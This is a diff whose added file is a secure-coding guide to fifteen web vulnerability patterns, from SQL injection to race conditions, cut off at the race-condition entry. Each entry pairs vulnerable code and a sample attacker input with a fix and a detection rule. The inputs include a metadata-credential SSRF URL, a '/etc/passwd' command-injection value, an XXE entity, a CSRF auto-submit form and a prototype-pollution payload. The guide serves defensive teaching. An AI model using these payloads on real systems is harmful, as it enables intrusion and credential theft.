- package/templates/examples/implementation-plan.example.json +17 -0
- package/templates/examples/proposed-learning.example.json +13 -0
- package/templates/examples/research.example.json +15 -0
- package/templates/examples/research.example.md +6 -0
- package/templates/examples/review.example.json +17 -0
- package/templates/examples/run-manifest.example.json +9 -0
- package/templates/examples/spec-challenge.example.json +14 -0
- package/templates/examples/spec.example.json +21 -0
- package/templates/examples/verification-proof.example.json +21 -0
- package/templates/examples/wazir-manifest.example.yaml +65 -0
- package/templates/task-definition-schema.md +99 -0
- package/tooling/README.md +20 -0
- package/tooling/src/adapters/context-mode.js +50 -0
- package/tooling/src/capture/command.js +376 -0
- package/tooling/src/capture/store.js +99 -0
- package/tooling/src/capture/usage.js +270 -0
- package/tooling/src/checks/branches.js +50 -0
- package/tooling/src/checks/brand-truth.js +110 -0
- package/tooling/src/checks/changelog.js +231 -0
- package/tooling/src/checks/command-registry.js +36 -0
- package/tooling/src/checks/commits.js +102 -0
- package/tooling/src/checks/docs-drift.js +103 -0
- package/tooling/src/checks/docs-truth.js +201 -0
- package/tooling/src/checks/runtime-surface.js +156 -0
- package/tooling/src/cli.js +116 -0
- package/tooling/src/command-options.js +56 -0
- package/tooling/src/commands/validate.js +320 -0
- package/tooling/src/doctor/command.js +91 -0
- package/tooling/src/export/command.js +77 -0
- package/tooling/src/export/compiler.js +498 -0
- package/tooling/src/guards/loop-cap-guard.js +52 -0
- package/tooling/src/guards/protected-path-write-guard.js +67 -0
- package/tooling/src/index/command.js +152 -0
- package/tooling/src/index/storage.js +1061 -0
- package/tooling/src/index/summarizers.js +261 -0
- package/tooling/src/loaders.js +18 -0
- package/tooling/src/project-root.js +22 -0
- package/tooling/src/recall/command.js +225 -0
- package/tooling/src/schema-validator.js +30 -0
- package/tooling/src/state-root.js +40 -0
- package/tooling/src/status/command.js +71 -0
- package/wazir.manifest.yaml +135 -0
- package/workflows/README.md +19 -0
- package/workflows/author.md +42 -0
- package/workflows/clarify.md +38 -0
- package/workflows/design-review.md +46 -0
- package/workflows/design.md +44 -0
- package/workflows/discover.md +37 -0
- package/workflows/execute.md +48 -0
- package/workflows/learn.md +38 -0
- package/workflows/plan-review.md +42 -0
- package/workflows/plan.md +39 -0
- package/workflows/prepare-next.md +37 -0
- package/workflows/review.md +40 -0
- package/workflows/run-audit.md +41 -0
- package/workflows/spec-challenge.md +41 -0
- package/workflows/specify.md +38 -0
- package/workflows/verify.md +37 -0
|
@@ -0,0 +1,801 @@
|
|
|
1
|
+
# Vulnerability Patterns
|
|
2
|
+
|
|
3
|
+
> **Domain:** Security
|
|
4
|
+
> **Severity:** Critical -- web application vulnerabilities account for 26% of all breaches (Verizon DBIR 2024).
|
|
5
|
+
> **Last updated:** 2026-03-08
|
|
6
|
+
> **Applies to:** All web applications, APIs, backend services, and cloud-native workloads.
|
|
7
|
+
|
|
8
|
+
---
|
|
9
|
+
|
|
10
|
+
## Why This Matters
|
|
11
|
+
|
|
12
|
+
The same vulnerability patterns keep recurring in production. The Equifax breach (CVE-2017-5638)
|
|
13
|
+
exposed 147 million records through an unpatched Struts flaw. Log4Shell (CVE-2021-44228)
|
|
14
|
+
gave attackers RCE on 93% of cloud enterprise environments. Capital One lost 106 million
|
|
15
|
+
customer records to a single SSRF. These are not exotic zero-days -- they are well-documented
|
|
16
|
+
patterns developers introduce through string concatenation, trusting user input, skipping
|
|
17
|
+
authorization checks, and deserializing untrusted data.
|
|
18
|
+
|
|
19
|
+
---
|
|
20
|
+
|
|
21
|
+
## VP-01: SQL Injection (Classic / Blind / Second-Order)
|
|
22
|
+
|
|
23
|
+
**Also known as:** SQLi, CWE-89, OWASP A03:2021. CVEs: CVE-2019-9193, CVE-2024-27198 (TeamCity).
|
|
24
|
+
|
|
25
|
+
| Frequency | Severity | Detection difficulty |
|
|
26
|
+
|---|---|---|
|
|
27
|
+
| Very High | Critical | Low (classic), Medium (blind), High (second-order) |
|
|
28
|
+
|
|
29
|
+
**What it looks like:**
|
|
30
|
+
```python
|
|
31
|
+
query = f"SELECT * FROM users WHERE username = '{username}' AND password = '{password}'"
|
|
32
|
+
cursor.execute(query)
|
|
33
|
+
# Second-order: user registers as "admin'--"; stored payload triggers in a later admin query
|
|
34
|
+
```
|
|
35
|
+
|
|
36
|
+
**Why developers do it:** String interpolation is the most natural way to build dynamic
|
|
37
|
+
queries. ORMs feel heavyweight for simple lookups.
|
|
38
|
+
|
|
39
|
+
**What goes wrong:** Heartland Payment Systems (2008) lost 130 million credit cards via SQLi.
|
|
40
|
+
CVE-2024-27198 in JetBrains TeamCity allowed unauthenticated SQLi leading to full server
|
|
41
|
+
compromise, actively exploited in the wild.
|
|
42
|
+
|
|
43
|
+
**The fix:**
|
|
44
|
+
```python
|
|
45
|
+
cursor.execute("SELECT * FROM users WHERE username = %s AND password = %s", (username, hashed))
|
|
46
|
+
```
|
|
47
|
+
|
|
48
|
+
**Detection rule:** Flag string concatenation or f-strings containing SQL keywords with
|
|
49
|
+
variable interpolation. Semgrep: `pattern: f"...SELECT...{$VAR}..."`.
|
|
50
|
+
|
|
51
|
+
---
|
|
52
|
+
|
|
53
|
+
## VP-02: Cross-Site Scripting -- Stored (Persistent XSS)
|
|
54
|
+
|
|
55
|
+
**Also known as:** XSS Type II, CWE-79, OWASP A03:2021. CVEs: CVE-2023-29489 (cPanel),
|
|
56
|
+
CVE-2024-21726 (Joomla).
|
|
57
|
+
|
|
58
|
+
| Frequency | Severity | Detection difficulty |
|
|
59
|
+
|---|---|---|
|
|
60
|
+
| Very High | High | Medium |
|
|
61
|
+
|
|
62
|
+
**What it looks like:**
|
|
63
|
+
```javascript
|
|
64
|
+
app.post('/comment', (req, res) => {
|
|
65
|
+
db.comments.insert({ body: req.body.comment }); // no sanitization
|
|
66
|
+
});
|
|
67
|
+
app.get('/post/:id', (req, res) => {
|
|
68
|
+
const comments = db.comments.find({ postId: req.params.id });
|
|
69
|
+
res.send(`<div>${comments.map(c => c.body).join('')}</div>`); // raw HTML output
|
|
70
|
+
});
|
|
71
|
+
```
|
|
72
|
+
|
|
73
|
+
**Why developers do it:** Rendering user content feels straightforward. Auto-escaping gets
|
|
74
|
+
bypassed via `| safe` or `dangerouslySetInnerHTML`.
|
|
75
|
+
|
|
76
|
+
**What goes wrong:** The 2018 British Airways breach used stored XSS in a compromised
|
|
77
|
+
third-party script to skim 380,000 payment cards (ICO fined BA 20M GBP). The Samy worm
|
|
78
|
+
(2005) infected 1 million MySpace profiles in 20 hours via stored XSS.
|
|
79
|
+
|
|
80
|
+
**The fix:**
|
|
81
|
+
```javascript
|
|
82
|
+
import DOMPurify from 'dompurify';
|
|
83
|
+
const safe = comments.map(c => DOMPurify.sanitize(c.body)).join('');
|
|
84
|
+
// Also set: Content-Security-Policy: script-src 'self'
|
|
85
|
+
```
|
|
86
|
+
|
|
87
|
+
**Detection rule:** Grep for `innerHTML`, `dangerouslySetInnerHTML`, `| safe`, `{!! !!}`,
|
|
88
|
+
`<%- %>` (EJS unescaped) outputting user-controlled data.
|
|
89
|
+
|
|
90
|
+
---
|
|
91
|
+
|
|
92
|
+
## VP-03: Cross-Site Scripting -- Reflected and DOM-Based
|
|
93
|
+
|
|
94
|
+
**Also known as:** XSS Type I / Type 0, CWE-79. CVEs: CVE-2021-41184 (jQuery UI),
|
|
95
|
+
CVE-2023-46747 (F5 BIG-IP, CVSS 9.8).
|
|
96
|
+
|
|
97
|
+
| Frequency | Severity | Detection difficulty |
|
|
98
|
+
|---|---|---|
|
|
99
|
+
| Very High | Medium-High | Low (reflected), Medium (DOM) |
|
|
100
|
+
|
|
101
|
+
**What it looks like:**
|
|
102
|
+
```javascript
|
|
103
|
+
// Reflected: server echoes input
|
|
104
|
+
app.get('/search', (req, res) => { res.send(`<h1>Results for: ${req.query.q}</h1>`); });
|
|
105
|
+
|
|
106
|
+
// DOM-based: client reads from location
|
|
107
|
+
document.getElementById('output').innerHTML = new URLSearchParams(location.search).get('q');
|
|
108
|
+
```
|
|
109
|
+
|
|
110
|
+
**Why developers do it:** Echoing search terms seems harmless. `innerHTML` is faster than
|
|
111
|
+
creating DOM nodes programmatically.
|
|
112
|
+
|
|
113
|
+
**What goes wrong:** CVE-2023-46747 in F5 BIG-IP allowed unauthenticated RCE via a reflected
|
|
114
|
+
XSS chain that bypassed authentication entirely.
|
|
115
|
+
|
|
116
|
+
**The fix:**
|
|
117
|
+
```javascript
|
|
118
|
+
// Reflected: use auto-escaping template engine
|
|
119
|
+
res.render('search', { query: req.query.q });
|
|
120
|
+
// DOM: use textContent instead of innerHTML
|
|
121
|
+
document.getElementById('output').textContent = query;
|
|
122
|
+
```
|
|
123
|
+
|
|
124
|
+
**Detection rule:** Grep for `innerHTML`, `outerHTML`, `document.write`, `eval(` combined
|
|
125
|
+
with URL/location sources. Semgrep: `pattern: document.$EL.innerHTML = $SOURCE`.
|
|
126
|
+
|
|
127
|
+
---
|
|
128
|
+
|
|
129
|
+
## VP-04: Cross-Site Request Forgery (CSRF)
|
|
130
|
+
|
|
131
|
+
**Also known as:** XSRF, Session Riding, CWE-352, OWASP A01:2021. CVEs: CVE-2024-4439
|
|
132
|
+
(WordPress), CVE-2023-28370 (Tornado).
|
|
133
|
+
|
|
134
|
+
| Frequency | Severity | Detection difficulty |
|
|
135
|
+
|---|---|---|
|
|
136
|
+
| High | High | Low |
|
|
137
|
+
|
|
138
|
+
**What it looks like:**
|
|
139
|
+
```html
|
|
140
|
+
<form action="https://bank.com/transfer" method="POST" id="csrf">
|
|
141
|
+
<input type="hidden" name="to" value="attacker" />
|
|
142
|
+
<input type="hidden" name="amount" value="10000" />
|
|
143
|
+
</form>
|
|
144
|
+
<script>document.getElementById('csrf').submit();</script>
|
|
145
|
+
```
|
|
146
|
+
|
|
147
|
+
**Why developers do it:** Session cookies are sent automatically; developers assume
|
|
148
|
+
authenticated requests are intentional.
|
|
149
|
+
|
|
150
|
+
**What goes wrong:** In 2006, Netflix was vulnerable to CSRF allowing attackers to change
|
|
151
|
+
shipping addresses and login credentials. In 2008, ING Direct had CSRF allowing attackers
|
|
152
|
+
to open accounts and transfer funds from authenticated users, even over SSL.
|
|
153
|
+
|
|
154
|
+
**The fix:**
|
|
155
|
+
```python
|
|
156
|
+
from flask_wtf.csrf import CSRFProtect
|
|
157
|
+
csrf = CSRFProtect(app)
|
|
158
|
+
# For APIs: SameSite=Strict cookies + custom header validation
|
|
159
|
+
response.set_cookie('session', value=token, samesite='Strict', httponly=True)
|
|
160
|
+
```
|
|
161
|
+
|
|
162
|
+
**Detection rule:** Flag state-changing endpoints (POST/PUT/DELETE) without CSRF token
|
|
163
|
+
validation. Check for `SameSite=None` on session cookies.
|
|
164
|
+
|
|
165
|
+
---
|
|
166
|
+
|
|
167
|
+
## VP-05: Server-Side Request Forgery (SSRF)
|
|
168
|
+
|
|
169
|
+
**Also known as:** CWE-918, OWASP A10:2021. CVEs: CVE-2021-26855 (Exchange ProxyLogon),
|
|
170
|
+
CVE-2024-21893 (Ivanti).
|
|
171
|
+
|
|
172
|
+
| Frequency | Severity | Detection difficulty |
|
|
173
|
+
|---|---|---|
|
|
174
|
+
| High | Critical | Medium |
|
|
175
|
+
|
|
176
|
+
**What it looks like:**
|
|
177
|
+
```python
|
|
178
|
+
@app.route('/fetch')
|
|
179
|
+
def fetch_url():
|
|
180
|
+
url = request.args.get('url')
|
|
181
|
+
return requests.get(url).text # no validation
|
|
182
|
+
# Attacker: /fetch?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/
|
|
183
|
+
```
|
|
184
|
+
|
|
185
|
+
**Why developers do it:** Webhooks, URL previews, and PDF generators require server-side
|
|
186
|
+
fetches. Developers validate the scheme but forget internal IP ranges and metadata endpoints.
|
|
187
|
+
|
|
188
|
+
**What goes wrong:** The **Capital One breach (2019)** is the canonical SSRF case. An attacker
|
|
189
|
+
exploited a misconfigured WAF on EC2 to SSRF the AWS metadata service (169.254.169.254),
|
|
190
|
+
retrieving IAM credentials for `ISRM-WAF-Role` which granted S3 access to 106 million
|
|
191
|
+
customer records. AWS subsequently released IMDSv2 requiring session tokens. CVE-2021-26855
|
|
192
|
+
(ProxyLogon) in Exchange used SSRF to bypass auth, exploited by Hafnium APT.
|
|
193
|
+
|
|
194
|
+
**The fix:**
|
|
195
|
+
```python
|
|
196
|
+
import ipaddress
|
|
197
|
+
from urllib.parse import urlparse
|
|
198
|
+
|
|
199
|
+
BLOCKED = [ipaddress.ip_network(n) for n in
|
|
200
|
+
['169.254.0.0/16','10.0.0.0/8','172.16.0.0/12','192.168.0.0/16','127.0.0.0/8']]
|
|
201
|
+
|
|
202
|
+
def is_safe_url(url):
|
|
203
|
+
parsed = urlparse(url)
|
|
204
|
+
if parsed.scheme not in ('http','https'): return False
|
|
205
|
+
ip = ipaddress.ip_address(parsed.hostname)
|
|
206
|
+
return not any(ip in net for net in BLOCKED)
|
|
207
|
+
```
|
|
208
|
+
|
|
209
|
+
**Detection rule:** Flag `requests.get()`, `urllib.urlopen()`, `fetch()`, `HttpClient`
|
|
210
|
+
where URL originates from user input without allowlist validation.
|
|
211
|
+
|
|
212
|
+
---
|
|
213
|
+
|
|
214
|
+
## VP-06: Insecure Deserialization
|
|
215
|
+
|
|
216
|
+
**Also known as:** CWE-502, OWASP A08:2021. CVEs: CVE-2015-4852 (WebLogic), CVE-2017-5638
|
|
217
|
+
(Struts), CVE-2017-9805 (Struts XStream).
|
|
218
|
+
|
|
219
|
+
| Frequency | Severity | Detection difficulty |
|
|
220
|
+
|---|---|---|
|
|
221
|
+
| Medium | Critical | High |
|
|
222
|
+
|
|
223
|
+
**What it looks like:**
|
|
224
|
+
```python
|
|
225
|
+
data = base64.b64decode(request.cookies.get('session'))
|
|
226
|
+
return pickle.loads(data) # arbitrary code execution
|
|
227
|
+
```
|
|
228
|
+
```java
|
|
229
|
+
ObjectInputStream ois = new ObjectInputStream(request.getInputStream());
|
|
230
|
+
Object obj = ois.readObject(); // gadget chain -> RCE
|
|
231
|
+
```
|
|
232
|
+
|
|
233
|
+
**Why developers do it:** Language-native serialization (pickle, Java ObjectInputStream, PHP
|
|
234
|
+
unserialize) is convenient. Developers assume cookies and internal APIs carry trusted data.
|
|
235
|
+
|
|
236
|
+
**What goes wrong:** CVE-2015-4852 in WebLogic used Java deserialization via T3 for
|
|
237
|
+
unauthenticated RCE, widely exploited for ransomware. CVE-2017-5638 (Struts/OGNL injection)
|
|
238
|
+
enabled the **Equifax breach (2017)**: attackers exploited it for 78 days, stealing SSNs and
|
|
239
|
+
addresses of 147 million Americans. A patch had been available for two months. Settlement
|
|
240
|
+
cost: $1.38 billion.
|
|
241
|
+
|
|
242
|
+
**The fix:**
|
|
243
|
+
```python
|
|
244
|
+
return json.loads(data) # no code execution possible
|
|
245
|
+
# Java: use JEP 290 deserialization filters with allowlists
|
|
246
|
+
```
|
|
247
|
+
|
|
248
|
+
**Detection rule:** Flag `pickle.loads`, `yaml.load` (no SafeLoader), `unserialize()`,
|
|
249
|
+
`readObject()`, `Marshal.load` on user-controlled data.
|
|
250
|
+
|
|
251
|
+
---
|
|
252
|
+
|
|
253
|
+
## VP-07: Path Traversal
|
|
254
|
+
|
|
255
|
+
**Also known as:** Directory Traversal, CWE-22, OWASP A01:2021. CVEs: CVE-2021-41773
|
|
256
|
+
(Apache httpd), CVE-2023-34362 (MOVEit).
|
|
257
|
+
|
|
258
|
+
| Frequency | Severity | Detection difficulty |
|
|
259
|
+
|---|---|---|
|
|
260
|
+
| High | High | Low |
|
|
261
|
+
|
|
262
|
+
**What it looks like:**
|
|
263
|
+
```python
|
|
264
|
+
@app.route('/download')
|
|
265
|
+
def download():
|
|
266
|
+
return send_file(f'/var/www/uploads/{request.args.get("file")}')
|
|
267
|
+
# Attacker: /download?file=../../../etc/passwd
|
|
268
|
+
```
|
|
269
|
+
|
|
270
|
+
**Why developers do it:** Serving files by name is intuitive. Developers trust the base path
|
|
271
|
+
prefix without realizing `../` and URL-encoded variants (`%2e%2e%2f`) escape it.
|
|
272
|
+
|
|
273
|
+
**What goes wrong:** CVE-2021-41773 in Apache 2.4.49 allowed path traversal via URL-encoded
|
|
274
|
+
dots leading to file disclosure and RCE -- mass exploitation within hours. CVE-2023-34362 in
|
|
275
|
+
MOVEit Transfer combined path traversal with SQLi; Cl0p ransomware gang exploited it at scale.
|
|
276
|
+
|
|
277
|
+
**The fix:**
|
|
278
|
+
```python
|
|
279
|
+
filepath = os.path.realpath(os.path.join(base, filename))
|
|
280
|
+
if not filepath.startswith(base): abort(403)
|
|
281
|
+
return send_file(filepath)
|
|
282
|
+
```
|
|
283
|
+
|
|
284
|
+
**Detection rule:** Flag file operations (`open`, `send_file`, `readFile`, `include`) where
|
|
285
|
+
path includes user input without `realpath()` canonicalization and prefix validation.
|
|
286
|
+
|
|
287
|
+
---
|
|
288
|
+
|
|
289
|
+
## VP-08: Command Injection
|
|
290
|
+
|
|
291
|
+
**Also known as:** OS Command Injection, CWE-78, OWASP A03:2021. CVEs: CVE-2024-3400
|
|
292
|
+
(PAN-OS, CVSS 10.0), CVE-2021-22205 (GitLab).
|
|
293
|
+
|
|
294
|
+
| Frequency | Severity | Detection difficulty |
|
|
295
|
+
|---|---|---|
|
|
296
|
+
| Medium | Critical | Medium |
|
|
297
|
+
|
|
298
|
+
**What it looks like:**
|
|
299
|
+
```python
|
|
300
|
+
result = os.popen(f'ping -c 4 {request.args.get("host")}').read()
|
|
301
|
+
# Attacker: /ping?host=8.8.8.8;cat /etc/passwd
|
|
302
|
+
```
|
|
303
|
+
|
|
304
|
+
**Why developers do it:** Shell commands are powerful one-liners. Developers reach for
|
|
305
|
+
`os.system()` when no library equivalent is obvious.
|
|
306
|
+
|
|
307
|
+
**What goes wrong:** CVE-2024-3400 in Palo Alto PAN-OS (CVSS 10.0) allowed unauthenticated
|
|
308
|
+
command injection via GlobalProtect, exploited as a zero-day to deploy backdoors.
|
|
309
|
+
CVE-2021-22205 in GitLab allowed RCE via ExifTool command injection in image uploads.
|
|
310
|
+
|
|
311
|
+
**The fix:**
|
|
312
|
+
```python
|
|
313
|
+
result = subprocess.run(['ping', '-c', '4', host], capture_output=True, text=True, shell=False)
|
|
314
|
+
```
|
|
315
|
+
|
|
316
|
+
**Detection rule:** Flag `os.system()`, `os.popen()`, `shell=True`, `exec()`, backticks,
|
|
317
|
+
`child_process.exec()` where arguments include user input.
|
|
318
|
+
|
|
319
|
+
---
|
|
320
|
+
|
|
321
|
+
## VP-09: XML External Entity (XXE) Injection
|
|
322
|
+
|
|
323
|
+
**Also known as:** CWE-611, OWASP A05:2021. CVEs: CVE-2014-3529 (Apache POI),
|
|
324
|
+
CVE-2014-3574 (Billion Laughs), CVE-2021-29441 (Nacos).
|
|
325
|
+
|
|
326
|
+
| Frequency | Severity | Detection difficulty |
|
|
327
|
+
|---|---|---|
|
|
328
|
+
| Medium | High | Medium |
|
|
329
|
+
|
|
330
|
+
**What it looks like:**
|
|
331
|
+
```xml
|
|
332
|
+
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
|
|
333
|
+
<user><name>&xxe;</name></user>
|
|
334
|
+
```
|
|
335
|
+
|
|
336
|
+
**Why developers do it:** XML parsers enable external entities by default in many languages.
|
|
337
|
+
DOCX, SVG, and SAML responses are all XML documents that get parsed without secure
|
|
338
|
+
configuration.
|
|
339
|
+
|
|
340
|
+
**What goes wrong:** CVE-2014-3529 in Apache POI allowed XXE via crafted Office files,
|
|
341
|
+
enabling arbitrary file reads on any server processing uploads. Facebook's bug bounty paid
|
|
342
|
+
out for XXE in their careers portal that read internal server files. SAML-based SSO is a
|
|
343
|
+
frequent target because SAML responses are XML parsed by service providers.
|
|
344
|
+
|
|
345
|
+
**The fix:**
|
|
346
|
+
```python
|
|
347
|
+
parser = etree.XMLParser(resolve_entities=False, no_network=True, dtd_validation=False, load_dtd=False)
|
|
348
|
+
tree = etree.parse(request.stream, parser)
|
|
349
|
+
```
|
|
350
|
+
|
|
351
|
+
**Detection rule:** Flag XML parser instantiation without entity/DTD disabling. Grep for
|
|
352
|
+
`etree.parse`, `DocumentBuilderFactory`, `SAXParser` without `disallow-doctype-decl`.
|
|
353
|
+
|
|
354
|
+
---
|
|
355
|
+
|
|
356
|
+
## VP-10: Prototype Pollution
|
|
357
|
+
|
|
358
|
+
**Also known as:** CWE-1321, OWASP A08:2021. CVEs: CVE-2023-36665 (protobuf.js),
|
|
359
|
+
CVE-2024-21529 (dset), CVE-2024-21505 (web3-utils).
|
|
360
|
+
|
|
361
|
+
| Frequency | Severity | Detection difficulty |
|
|
362
|
+
|---|---|---|
|
|
363
|
+
| Medium-High | High | High |
|
|
364
|
+
|
|
365
|
+
**What it looks like:**
|
|
366
|
+
```javascript
|
|
367
|
+
function merge(target, source) {
|
|
368
|
+
for (const key in source) {
|
|
369
|
+
if (typeof source[key] === 'object') target[key] = merge(target[key] || {}, source[key]);
|
|
370
|
+
else target[key] = source[key];
|
|
371
|
+
}
|
|
372
|
+
return target;
|
|
373
|
+
}
|
|
374
|
+
// Attacker sends: {"__proto__": {"isAdmin": true}}
|
|
375
|
+
merge({}, JSON.parse(userInput));
|
|
376
|
+
// Now ({}).isAdmin === true for every object
|
|
377
|
+
```
|
|
378
|
+
|
|
379
|
+
**Why developers do it:** Deep merge is fundamental to config handling. Lodash `_.merge`,
|
|
380
|
+
jQuery `$.extend`, and custom merges do not filter `__proto__` by default.
|
|
381
|
+
|
|
382
|
+
**What goes wrong:** CVE-2023-36665 in protobuf.js enabled RCE/DoS via prototype pollution.
|
|
383
|
+
CVE-2024-21505 affected blockchain apps via `mergeDeep`. In 2023, researchers demonstrated
|
|
384
|
+
full RCE chains via prototype pollution in Express/EJS applications by polluting `child_process`
|
|
385
|
+
properties.
|
|
386
|
+
|
|
387
|
+
**The fix:**
|
|
388
|
+
```javascript
|
|
389
|
+
function safeMerge(target, source) {
|
|
390
|
+
for (const key of Object.keys(source)) {
|
|
391
|
+
if (key === '__proto__' || key === 'constructor' || key === 'prototype') continue;
|
|
392
|
+
if (typeof source[key] === 'object' && source[key] !== null && !Array.isArray(source[key]))
|
|
393
|
+
target[key] = safeMerge(target[key] || {}, source[key]);
|
|
394
|
+
else target[key] = source[key];
|
|
395
|
+
}
|
|
396
|
+
return target;
|
|
397
|
+
}
|
|
398
|
+
// Or: use Object.create(null) or Map for dynamic keys
|
|
399
|
+
```
|
|
400
|
+
|
|
401
|
+
**Detection rule:** Flag `for...in` on user objects without `hasOwnProperty`. Flag recursive
|
|
402
|
+
merge functions missing `__proto__`/`constructor` filtering.
|
|
403
|
+
|
|
404
|
+
---
|
|
405
|
+
|
|
406
|
+
## VP-11: Mass Assignment
|
|
407
|
+
|
|
408
|
+
**Also known as:** Auto-binding, CWE-915, OWASP A08:2021.
|
|
409
|
+
|
|
410
|
+
| Frequency | Severity | Detection difficulty |
|
|
411
|
+
|---|---|---|
|
|
412
|
+
| High | High | Medium |
|
|
413
|
+
|
|
414
|
+
**What it looks like:**
|
|
415
|
+
```python
|
|
416
|
+
for key, value in request.data.items():
|
|
417
|
+
setattr(user, key, value) # attacker sends {"is_staff": true}
|
|
418
|
+
user.save()
|
|
419
|
+
```
|
|
420
|
+
|
|
421
|
+
**Why developers do it:** One-line model updates from form data. Developers assume the
|
|
422
|
+
frontend only sends expected fields.
|
|
423
|
+
|
|
424
|
+
**What goes wrong:** In 2012, Egor Homakov exploited mass assignment in **GitHub itself**. By
|
|
425
|
+
submitting a crafted public_key attribute pointing to a Rails core member's account, he gained
|
|
426
|
+
commit access to the Ruby on Rails repository. This incident led directly to Rails adding
|
|
427
|
+
strong parameters in Rails 4.
|
|
428
|
+
|
|
429
|
+
**The fix:**
|
|
430
|
+
```python
|
|
431
|
+
ALLOWED = {'display_name', 'email', 'bio'}
|
|
432
|
+
for key, value in request.data.items():
|
|
433
|
+
if key in ALLOWED: setattr(user, key, value)
|
|
434
|
+
```
|
|
435
|
+
|
|
436
|
+
**Detection rule:** Flag iteration over request data setting model attributes without an
|
|
437
|
+
explicit allowlist. Grep for `setattr(model, key, ...)`, `Object.assign(model, req.body)`.
|
|
438
|
+
|
|
439
|
+
---
|
|
440
|
+
|
|
441
|
+
## VP-12: Open Redirects
|
|
442
|
+
|
|
443
|
+
**Also known as:** CWE-601, OWASP A01:2021. CVEs: CVE-2024-29041 (Express.js),
|
|
444
|
+
CVE-2024-5492 (NetScaler).
|
|
445
|
+
|
|
446
|
+
| Frequency | Severity | Detection difficulty |
|
|
447
|
+
|---|---|---|
|
|
448
|
+
| High | Medium | Low |
|
|
449
|
+
|
|
450
|
+
**What it looks like:**
|
|
451
|
+
```python
|
|
452
|
+
@app.route('/login')
|
|
453
|
+
def login():
|
|
454
|
+
return redirect(request.args.get('next')) # no validation
|
|
455
|
+
# Attacker: /login?next=https://evil.com/phishing
|
|
456
|
+
```
|
|
457
|
+
|
|
458
|
+
**Why developers do it:** Post-login redirects are legitimate UX. URL tricks
|
|
459
|
+
(`//evil.com`, `https://evil.com%40legit.com`) bypass naive checks.
|
|
460
|
+
|
|
461
|
+
**What goes wrong:** CVE-2024-29041 in Express.js allowed URL encoding to bypass allowlists.
|
|
462
|
+
Open redirects are critical in OAuth phishing chains: attackers steal authorization codes by
|
|
463
|
+
redirecting callbacks through a legitimate-looking domain.
|
|
464
|
+
|
|
465
|
+
**The fix:**
|
|
466
|
+
```python
|
|
467
|
+
parsed = urlparse(next_url)
|
|
468
|
+
if parsed.netloc and parsed.netloc not in ALLOWED_HOSTS: next_url = '/'
|
|
469
|
+
return redirect(next_url)
|
|
470
|
+
```
|
|
471
|
+
|
|
472
|
+
**Detection rule:** Flag `redirect()`, `res.redirect()`, `Location:` header where target
|
|
473
|
+
includes user input without domain allowlist.
|
|
474
|
+
|
|
475
|
+
---
|
|
476
|
+
|
|
477
|
+
## VP-13: Insecure Direct Object Reference (IDOR)
|
|
478
|
+
|
|
479
|
+
**Also known as:** BOLA, CWE-639, OWASP A01:2021 / API #1.
|
|
480
|
+
|
|
481
|
+
| Frequency | Severity | Detection difficulty |
|
|
482
|
+
|---|---|---|
|
|
483
|
+
| Very High | High | Medium |
|
|
484
|
+
|
|
485
|
+
**What it looks like:**
|
|
486
|
+
```python
|
|
487
|
+
@app.route('/api/invoices/<int:invoice_id>')
|
|
488
|
+
def get_invoice(invoice_id):
|
|
489
|
+
return jsonify(db.invoices.find_one({'id': invoice_id})) # no ownership check
|
|
490
|
+
```
|
|
491
|
+
|
|
492
|
+
**Why developers do it:** Database PKs as API identifiers is simplest. Developers confuse
|
|
493
|
+
authentication (who you are) with authorization (what you can access).
|
|
494
|
+
|
|
495
|
+
**What goes wrong:** In 2021, Parler's sequential post IDs without authorization enabled
|
|
496
|
+
scraping of terabytes of data including GPS metadata and deleted posts. In 2020, IDOR was
|
|
497
|
+
found in a U.S. Department of Defense website, reported via their Vulnerability Disclosure
|
|
498
|
+
Program. IDOR is rated #1 API security risk by OWASP API Top 10.
|
|
499
|
+
|
|
500
|
+
**The fix:**
|
|
501
|
+
```python
|
|
502
|
+
invoice = db.invoices.find_one({'id': invoice_id, 'owner_id': current_user.id})
|
|
503
|
+
if not invoice: abort(404) # 404, not 403 -- don't reveal existence
|
|
504
|
+
```
|
|
505
|
+
|
|
506
|
+
**Detection rule:** Flag data queries using user-supplied IDs without ownership/role
|
|
507
|
+
filtering. Check for sequential integer IDs in API routes.
|
|
508
|
+
|
|
509
|
+
---
|
|
510
|
+
|
|
511
|
+
## VP-14: Server-Side Template Injection (SSTI)
|
|
512
|
+
|
|
513
|
+
**Also known as:** CWE-1336, OWASP A03:2021. CVEs: CVE-2022-22954 (VMware),
|
|
514
|
+
CVE-2023-46604 (ActiveMQ, CVSS 10.0).
|
|
515
|
+
|
|
516
|
+
| Frequency | Severity | Detection difficulty |
|
|
517
|
+
|---|---|---|
|
|
518
|
+
| Medium | Critical | Medium |
|
|
519
|
+
|
|
520
|
+
**What it looks like:**
|
|
521
|
+
```python
|
|
522
|
+
template = f"<h1>Hello {request.args.get('name')}!</h1>"
|
|
523
|
+
return render_template_string(template)
|
|
524
|
+
# Attacker: /greet?name={{config.items()}} -> escalates to RCE via __subclasses__
|
|
525
|
+
```
|
|
526
|
+
|
|
527
|
+
**Why developers do it:** Dynamic template generation seems flexible. Developers confuse
|
|
528
|
+
template rendering (safe, with context variables) with template compilation (unsafe, with
|
|
529
|
+
user-controlled strings).
|
|
530
|
+
|
|
531
|
+
**What goes wrong:** In 2016, researchers Orange Tsai and James Kettle found SSTI in **Uber**:
|
|
532
|
+
injecting `{{7*7}}` into profile fields produced `49` in emails, proving template execution.
|
|
533
|
+
CVE-2022-22954 in VMware Workspace ONE allowed SSTI-to-RCE, exploited by APT groups.
|
|
534
|
+
|
|
535
|
+
**The fix:**
|
|
536
|
+
```python
|
|
537
|
+
return render_template_string("<h1>Hello {{ name }}!</h1>", name=name)
|
|
538
|
+
# Never pass user input as template source. Use logic-less engines (Mustache) for user templates.
|
|
539
|
+
```
|
|
540
|
+
|
|
541
|
+
**Detection rule:** Flag `render_template_string()`, `Template()`, `new Function()` where
|
|
542
|
+
the template string includes user input.
|
|
543
|
+
|
|
544
|
+
---
|
|
545
|
+
|
|
546
|
+
## VP-15: Race Conditions in Security Checks
|
|
547
|
+
|
|
548
|
+
**Also known as:** TOCTOU, CWE-367/CWE-362. CVEs: CVE-2024-30088 (Windows Kernel),
|
|
549
|
+
CVE-2024-50379 (Tomcat), CVE-2024-23651 (Docker BuildKit).
|
|
550
|
+
|
|
551
|
+
| Frequency | Severity | Detection difficulty |
|
|
552
|
+
|---|---|---|
|
|
553
|
+
| Medium | High | Very High |
|
|
554
|
+
|
|
555
|
+
